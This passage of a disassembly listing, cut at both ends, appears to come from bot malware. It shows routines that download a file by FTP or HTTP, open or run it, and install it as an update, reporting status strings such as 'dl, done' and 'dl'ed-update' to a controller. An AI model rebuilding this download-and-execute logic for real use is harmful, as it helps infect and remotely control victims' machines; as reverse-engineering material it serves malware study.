ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401E65 lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401E65 lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401E65 lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401E65 mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_40137F loc_41AF0C: ; CODE XREF: sub_41ACE0+C0j lea ecx, [ebp+60h] call sub_401726 push eax lea ecx, [esi+7Eh] call sub_4012B7 test eax, eax jnz loc_41B08B push offset dword_43B600 lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_401622 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 9 push ecx mov ecx, eax call sub_4015F5 push eax call sub_401861 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_4011F9 mov al, [esp+124h+var_111] test al, al jnz loc_41B871 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401E65 push offset asc_43BB68 ; ":" lea ecx, [esp+128h+var_10C] call sub_4019BA mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401122 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401E65 push 1 push offset dword_43B600 lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011C2 push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Ah call sub_401E65 lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_4011F9 push 94h call sub_43034A add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Bh jz short loc_41B01B mov ecx, eax call sub_402031 mov edi, eax jmp short loc_41B01D ; --------------------------------------------------------------------------- loc_41B01B: ; CODE XREF: sub_41ACE0+32Ej xor edi, edi loc_41B01D: ; CODE XREF: sub_41ACE0+339j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401E65 lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401E65 lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401E65 lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401E65 mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_40137F loc_41B08B: ; CODE XREF: sub_41ACE0+23Fj lea ecx, [ebp+32h] call sub_401726 push eax lea ecx, [esi+7Eh] call sub_4012B7 test eax, eax jnz loc_41B2C6 push offset dword_43B600 lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_401622 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 0Ch push ecx mov ecx, eax call sub_4015F5 push eax call sub_401861 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_4011F9 mov al, [esp+124h+var_111] test al, al jnz loc_41B871 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401E65 push offset asc_43BB68 ; ":" lea ecx, [esp+128h+var_10C] call sub_4019BA mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401122 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401E65 push 1 push offset dword_43B600 lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011C2 push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Dh call sub_401E65 lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_4011F9 push offset dword_43B600 lea eax, [esp+128h+var_F4] push 3 push eax mov ecx, esi call sub_401622 push offset word_4403F2 mov ecx, eax mov byte ptr [esp+128h+var_4], 0Eh call sub_401A7D test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_4011F9 mov al, [esp+124h+var_111] test al, al jz short loc_41B22E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401456 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_4011F9 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_4011F9 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_4011F9 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_4011F9 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_4011F9 xor al, al jmp loc_41B8E2 ; --------------------------------------------------------------------------- loc_41B22E: ; CODE XREF: sub_41ACE0+4D6j push 94h call sub_43034A add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Fh jz short loc_41B256 mov ecx, eax call sub_402031 mov edi, eax jmp short loc_41B258 ; --------------------------------------------------------------------------- loc_41B256: ; CODE XREF: sub_41ACE0+569j xor edi, edi loc_41B258: ; CODE XREF: sub_41ACE0+574j lea ecx, [esp+124h+var_10C] mov byte ptr [esp+124h+var_4], bl push ecx lea ecx, [edi+11h] call sub_401E65 lea edx, [esp+124h+var_DC] lea ecx, [edi+26h] push edx call sub_401E65 lea eax, [esp+124h+var_C4] lea ecx, [edi+65h] push eax call sub_401E65 lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401E65 mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 0 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_40137F loc_41B2C6: ; CODE XREF: sub_41ACE0+3BEj lea ecx, [ebp+0BCh] call sub_401726 push eax lea ecx, [esi+7Eh] call sub_4012B7 test eax, eax jnz loc_41B46B push offset dword_43B600 lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_401622 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 10h call sub_4015F5 push eax call sub_401861 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_4011F9 mov al, [esp+124h+var_111] test al, al jnz loc_41B871 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401E65 lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401E65 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401E65 lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401E65 push 1 push offset dword_43B600 lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011C2 push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 11h call sub_401E65 lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_4011F9 push 94h call sub_43034A add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 12h jz short loc_41B3DE mov ecx, eax call sub_402031 mov edi, eax jmp short loc_41B3E0 ; --------------------------------------------------------------------------- loc_41B3DE: ; CODE XREF: sub_41ACE0+6F1j xor edi, edi loc_41B3E0: ; CODE XREF: sub_41ACE0+6FCj lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401E65 lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401E65 lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401E65 lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401E65 lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401E65 lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401E65 mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_40137F loc_41B46B: ; CODE XREF: sub_41ACE0+5FCj lea ecx, [ebp+118h] call sub_401726 push eax lea ecx, [esi+7Eh] call sub_4012B7 test eax, eax jnz loc_41B610 push offset dword_43B600 lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_401622 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 13h call sub_4015F5 push eax call sub_401861 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_4011F9 mov al, [esp+124h+var_111] test al, al jnz loc_41B871 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401E65 lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401E65 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401E65 lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401E65 push 1 push offset dword_43B600 lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011C2 push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 14h call sub_401E65 lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_4011F9 push 94h call sub_43034A add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 15h jz short loc_41B583 mov ecx, eax call sub_402031 mov edi, eax jmp short loc_41B585 ; --------------------------------------------------------------------------- loc_41B583: ; CODE XREF: sub_41ACE0+896j xor edi, edi loc_41B585: ; CODE XREF: sub_41ACE0+8A1j lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401E65 lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401E65 lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401E65 lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401E65 lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401E65 lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401E65 mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_40137F loc_41B610: ; CODE XREF: sub_41ACE0+7A1j lea ecx, [ebp+0EAh] call sub_401726 push eax lea ecx, [esi+7Eh] call sub_4012B7 test eax, eax jnz loc_41B871 push offset dword_43B600 lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_401622 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 16h call sub_4015F5 push eax call sub_401861 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_4011F9 mov al, [esp+124h+var_111] test al, al jnz loc_41B871 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401E65 lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401E65 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401E65 lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401E65 push 1 push offset dword_43B600 lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011C2 push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 17h call sub_401E65 lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_4011F9 push offset dword_43B600 lea edx, [esp+128h+var_F4] push 3 push edx mov ecx, esi call sub_401622 push offset word_4403F2 mov ecx, eax mov byte ptr [esp+128h+var_4], 18h call sub_401A7D test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_4011F9 mov al, [esp+124h+var_111] test al, al jz short loc_41B7BC lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401456 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_4011F9 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_4011F9 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_4011F9 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_4011F9 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_4011F9 xor al, al jmp loc_41B8E2 ; --------------------------------------------------------------------------- loc_41B7BC: ; CODE XREF: sub_41ACE0+A64j push 94h call sub_43034A add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 19h jz short loc_41B7E4 mov ecx, eax call sub_402031 mov edi, eax jmp short loc_41B7E6 ; --------------------------------------------------------------------------- loc_41B7E4: ; CODE XREF: sub_41ACE0+AF7j xor edi, edi loc_41B7E6: ; CODE XREF: sub_41ACE0+B02j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401E65 lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401E65 lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401E65 lea eax, [esp+124h+var_AC] lea ecx, [edi+3Bh] push eax call sub_401E65 lea ecx, [esp+124h+var_94] push ecx lea ecx, [edi+50h] call sub_401E65 lea edx, [esi+69h] lea ecx, [edi+7Ah] push edx call sub_401E65 mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 1 mov al, [esi+93h] mov [edi+92h], al mov cl, [esi+94h] mov [edi+93h], cl mov ecx, edi call sub_40137F loc_41B871: ; CODE XREF: sub_41ACE0+116j ; sub_41ACE0+295j ... lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401456 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_4011F9 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_4011F9 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_4011F9 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_4011F9 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_4011F9 mov al, 1 loc_41B8E2: ; CODE XREF: sub_41ACE0+549j ; sub_41ACE0+AD7j mov ecx, [esp+124h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 114h retn 4 sub_41ACE0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 310h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BC10 proc near ; CODE XREF: sub_401A41j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41BC10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4013CF lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_4013CF lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_4013CF lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_4013CF lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_4013CF mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41BC10 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BCA0 proc near ; CODE XREF: sub_401456j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41BCA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+58h] mov [esp+14h+var_4], 3 call sub_4011F9 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_4011F9 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_4011F9 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_4011F9 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41BCA0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BD40 proc near ; CODE XREF: sub_402031j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41BD40 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401D2F lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_4013CF lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_4013CF lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_4013CF lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_4013CF lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_4013CF lea ecx, [esi+7Ah] mov byte ptr [esp+14h+var_4], 5 call sub_4013CF mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_4370B0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_41BD40 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BE00 proc near ; CODE XREF: sub_401B63j var_68 = dword ptr -68h var_50 = byte ptr -50h var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_14 = byte ptr 18h arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_44 = byte ptr 48h arg_FC = byte ptr 100h arg_10C = byte ptr 110h arg_11C = byte ptr 120h arg_10EC = dword ptr 10F0h arg_1100 = byte ptr 1104h arg_1114 = dword ptr 1118h arg_1144 = byte ptr 1148h arg_1148 = dword ptr 114Ch arg_1150 = dword ptr 1154h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_434872 push eax mov eax, 1158h mov large fs:0, esp call sub_430390 push ebx push ebp push esi mov esi, ecx push edi push offset byte_43FDC8 lea edi, [esi+11h] mov ecx, edi call sub_4012B7 test eax, eax jz loc_41C508 lea ebx, [esi+65h] push offset byte_43FDC8 mov ecx, ebx call sub_4012B7 test eax, eax jz loc_41C508 lea ecx, [esi+26h] push offset byte_43FDC8 call sub_4012B7 test eax, eax jz loc_41C508 mov al, [esi+91h] test al, al jz short loc_41BEA1 push offset byte_43FDC8 lea ecx, [esi+3Bh] call sub_4012B7 test eax, eax jz short loc_41BE94 push offset byte_43FDC8 lea ecx, [esi+50h] call sub_4012B7 test eax, eax jnz short loc_41BEA1 loc_41BE94: ; CODE XREF: sub_41BE00+81j mov [esp+1Ch+var_8], esi lea eax, [esp+1Ch+var_8] jmp loc_41C510 ; --------------------------------------------------------------------------- loc_41BEA1: ; CODE XREF: sub_41BE00+70j ; sub_41BE00+92j push offset asc_43BB68 ; ":" lea ecx, [esp+20h] push 1 push ecx mov ecx, edi call sub_401622 push offset byte_43FDC8 mov ecx, eax mov [esp+20h+arg_1150], 0 call sub_4012B7 lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_4011F9 test ebp, ebp jz short loc_41BF2E push offset asc_43BB68 ; ":" lea edx, [esp+20h] push 1 push edx mov ecx, edi call sub_401622 mov ecx, eax mov [esp+1Ch+arg_1150], 1 call sub_401726 push eax call ds:dword_4B3AEC add esp, 4 lea ecx, [esp+1Ch] mov ebp, eax mov [esp+1Ch+arg_1150], 0FFFFFFFFh call sub_4011F9 test ebp, ebp jnz short loc_41BF3F loc_41BF2E: ; CODE XREF: sub_41BE00+E3j mov al, [esi+91h] neg al sbb eax, eax and al, 0C5h add eax, 50h mov ebp, eax loc_41BF3F: ; CODE XREF: sub_41BE00+12Cj push offset asc_43BB68 ; ":" lea ecx, [esp+20h+arg_14] push 0 push ecx mov ecx, edi call sub_401622 lea edx, [esp+1Ch+arg_14] mov ecx, edi push edx mov [esp+20h+arg_1150], 2 call sub_401E65 lea eax, [esp+1Ch+arg_44] push 104h push eax mov ecx, ebx call sub_401726 push eax call ds:dword_4B38E0 lea ecx, [esp+28h+arg_38] push ecx mov ecx, ebx call sub_401564 mov al, [esi+91h] test al, al jz loc_41C0D4 call sub_401CD5 lea edx, [esp+28h+var_14] mov ecx, edi push edx call sub_401726 push eax call sub_401988 add esp, 8 test eax, eax jnz short loc_41BFEC lea ecx, [esi+7Ah] call sub_4015F5 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aFtpBadconnect ; "ftp(badconnect)" push eax push ecx mov ecx, offset byte_48873B call sub_4010FF mov [esp+38h+var_28], esi lea edx, [esp+38h+var_28] jmp loc_41C4E7 ; --------------------------------------------------------------------------- loc_41BFEC: ; CODE XREF: sub_41BE00+1B7j mov eax, [esp+28h+var_14] lea ecx, [esi+50h] push eax call sub_401726 push eax lea ecx, [esi+3Bh] call sub_401726 push eax call sub_4020A4 add esp, 0Ch test eax, eax jnz short loc_41C043 lea ecx, [esi+7Ah] call sub_4015F5 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBadlogin ; "ftp(badlogin)" push ecx push edx mov ecx, offset byte_48873B call sub_4010FF lea eax, [esp+38h+var_28] mov [esp+38h+var_28], esi push eax jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C043: ; CODE XREF: sub_41BE00+20Dj lea edi, [esi+7Ah] mov ecx, edi call sub_4015F5 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpGetting ; "ftp(getting)" push ecx push edx mov ecx, offset byte_48873B call sub_4010FF mov eax, [esp+38h+var_24] lea ecx, [esi+26h] push eax push 49h call sub_401726 push eax mov ecx, ebx call sub_401726 push eax call sub_40161D add esp, 10h test eax, eax jnz short loc_41C0C2 mov ecx, edi call sub_4015F5 mov cl, [esi+93h] mov dl, [esi+92h] push eax push offset aFtpBaddl ; "ftp(baddl)" push ecx push edx mov ecx, offset byte_48873B call sub_4010FF lea eax, [esp+48h+var_38] mov [esp+48h+var_38], esi push eax jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C0C2: ; CODE XREF: sub_41BE00+28Dj mov ecx, [esp+38h+var_24] push ecx call sub_401C2B add esp, 4 jmp loc_41C34B ; --------------------------------------------------------------------------- loc_41C0D4: ; CODE XREF: sub_41BE00+195j lea ecx, [esp+28h+arg_20] call sub_4013CF lea ecx, [esp+28h+var_C] mov [esp+28h+arg_1144], 3 call sub_4013CF push ebp mov ecx, edi mov [esp+2Ch+arg_1144], 4 call sub_401726 push eax call sub_4019AB mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh mov [esp+28h+var_14], ebx jnz short loc_41C157 lea ecx, [esi+7Ah] call sub_4015F5 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadconnect ; "http(badconnect)" push edx push eax mov ecx, offset byte_48873B call sub_4010FF lea ecx, [esp+38h+var_28] mov [esp+38h+var_28], esi push ecx mov ecx, offset byte_4992AB call sub_4011E5 push ebx call ds:dword_4B3CA8 jmp loc_41C215 ; --------------------------------------------------------------------------- loc_41C157: ; CODE XREF: sub_41BE00+310j push ebp mov ecx, edi call sub_401726 push eax lea ecx, [esi+26h] call sub_401726 push eax lea edx, [esp+34h+arg_20] push offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"... push edx call sub_40102D add esp, 14h lea ecx, [esp+28h+arg_20] push 0 call sub_401384 push eax lea ecx, [esp+30h+arg_20] call sub_401726 push eax push ebx call ds:dword_4B3C9C lea edi, [esi+7Ah] mov ecx, edi call sub_4015F5 mov cl, [esi+92h] push eax mov al, [esi+93h] push offset aHttpGetting ; "http(getting)" push eax push ecx mov ecx, offset byte_48873B call sub_4010FF push offset aWb ; "wb" lea ecx, [esi+65h] call sub_401726 push eax call ds:dword_4B3A90 mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41C250 mov ecx, edi call sub_4015F5 mov dl, [esi+93h] push eax mov al, [esi+92h] push offset aHttpBadopen ; "http(badopen)" push edx push eax mov ecx, offset byte_48873B call sub_4010FF lea ecx, [esp+58h+var_48] mov [esp+58h+var_48], esi push ecx mov ecx, offset byte_4992AB call sub_4011E5 loc_41C215: ; CODE XREF: sub_41BE00+352j lea ecx, [esp+58h+var_3C] mov byte ptr [esp+58h+arg_1114], 3 call sub_4011F9 lea ecx, [esp+58h+var_C] mov byte ptr [esp+58h+arg_1114], 2 call sub_4011F9 lea ecx, [esp+58h+var_24] mov [esp+58h+arg_1114], 0FFFFFFFFh call sub_4011F9 jmp loc_41C51B ; --------------------------------------------------------------------------- loc_41C250: ; CODE XREF: sub_41BE00+3DBj ; sub_41BE00+484j ... mov eax, [esp+48h+var_34] push 0 lea edx, [esp+4Ch+arg_11C] push 1000h push edx push eax call ds:dword_4B3C6C mov ebp, eax test ebp, ebp jle short loc_41C2C8 cmp ebp, 1000h jge short loc_41C280 mov [esp+ebp+58h+arg_10C], 0 loc_41C280: ; CODE XREF: sub_41BE00+476j xor edi, edi test ebp, ebp jle short loc_41C250 loc_41C286: ; CODE XREF: sub_41BE00+4A5j push 4 lea ecx, [esp+edi+5Ch+arg_10C] push offset asc_43BDCC ; "\r\n\r\n" push ecx call ds:dword_4B3ABC add esp, 0Ch test eax, eax jz short loc_41C2A9 inc edi cmp edi, ebp jl short loc_41C286 jmp short loc_41C250 ; --------------------------------------------------------------------------- loc_41C2A9: ; CODE XREF: sub_41BE00+4A0j add edi, 4 cmp edi, ebp jge short loc_41C2C8 loc_41C2B0: ; CODE XREF: sub_41BE00+4C6j movsx edx, [esp+edi+58h+arg_10C] push ebx push edx call ds:dword_4B3A88 add esp, 8 inc edi cmp edi, ebp jl short loc_41C2B0 loc_41C2C8: ; CODE XREF: sub_41BE00+46Ej ; sub_41BE00+4AEj ... mov edi, [esp+58h+var_44] push 0 lea eax, [esp+5Ch+arg_10C] push 1000h push eax push edi call ds:dword_4B3C6C mov ebp, eax test ebp, ebp jle short loc_41C318 cmp ebp, 1000h jge short loc_41C2F8 mov [esp+ebp+68h+arg_FC], 0 loc_41C2F8: ; CODE XREF: sub_41BE00+4EEj xor edi, edi test ebp, ebp jle short loc_41C2C8 loc_41C2FE: ; CODE XREF: sub_41BE00+514j movsx ecx, [esp+edi+68h+arg_FC] push ebx push ecx call ds:dword_4B3A88 add esp, 8 inc edi cmp edi, ebp jl short loc_41C2FE jmp short loc_41C2C8 ; --------------------------------------------------------------------------- loc_41C318: ; CODE XREF: sub_41BE00+4E6j push ebx call ds:dword_4B3A94 add esp, 4 push edi call ds:dword_4B3CA8 lea ecx, [esp+6Ch+var_50] mov [esp+6Ch+arg_1100], 3 call sub_4011F9 lea ecx, [esp+6Ch+var_20] mov [esp+6Ch+arg_1100], 2 call sub_4011F9 loc_41C34B: ; CODE XREF: sub_41BE00+2CFj mov al, [esi+90h] test al, al jnz loc_41C3E7 lea ebp, [esi+65h] mov ecx, ebp call sub_401726 lea edi, [esi+7Ah] push eax push offset aDlDone_S_ ; "dl, done. %s ." mov ecx, edi call sub_4015F5 mov dl, [esi+93h] push eax mov al, [esi+92h] push edx push eax push offset byte_48873B call sub_40178F mov al, [esi+8Fh] add esp, 18h test al, al jz loc_41C4DF push offset byte_43FDC8 mov ecx, ebp call sub_401726 push eax call sub_401262 add esp, 8 mov ecx, ebp call sub_401726 push eax push offset aOpenS_ ; "open %s." mov ecx, edi call sub_4015F5 mov cl, [esi+93h] mov dl, [esi+92h] push eax push ecx push edx push offset byte_48873B call sub_40178F add esp, 18h jmp loc_41C4DF ; --------------------------------------------------------------------------- loc_41C3E7: ; CODE XREF: sub_41BE00+553j lea ebx, [esi+65h] mov ecx, ebx call sub_401726 lea edi, [esi+7Ah] push eax push offset aDlEdUpdateS ; "dl'ed-update: %s" mov ecx, edi call sub_4015F5 mov cl, [esi+92h] push eax mov al, [esi+93h] push eax push ecx push offset byte_48873B call sub_40178F add esp, 18h lea edx, [esp+6Ch+var_50] push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 51h push edx call sub_4018DE add esp, 24h mov ecx, eax mov [esp+6Ch+arg_1100], 5 call sub_401479 push eax mov ecx, ebx call sub_401479 push eax call sub_401FBE add esp, 8 lea ecx, [esp+6Ch+var_50] mov bl, al mov [esp+6Ch+arg_1100], 2 call sub_4011F9 test bl, bl jz short loc_41C4BA mov al, ds:byte_44072E test al, al jz short loc_41C489 push offset dword_4406CC mov 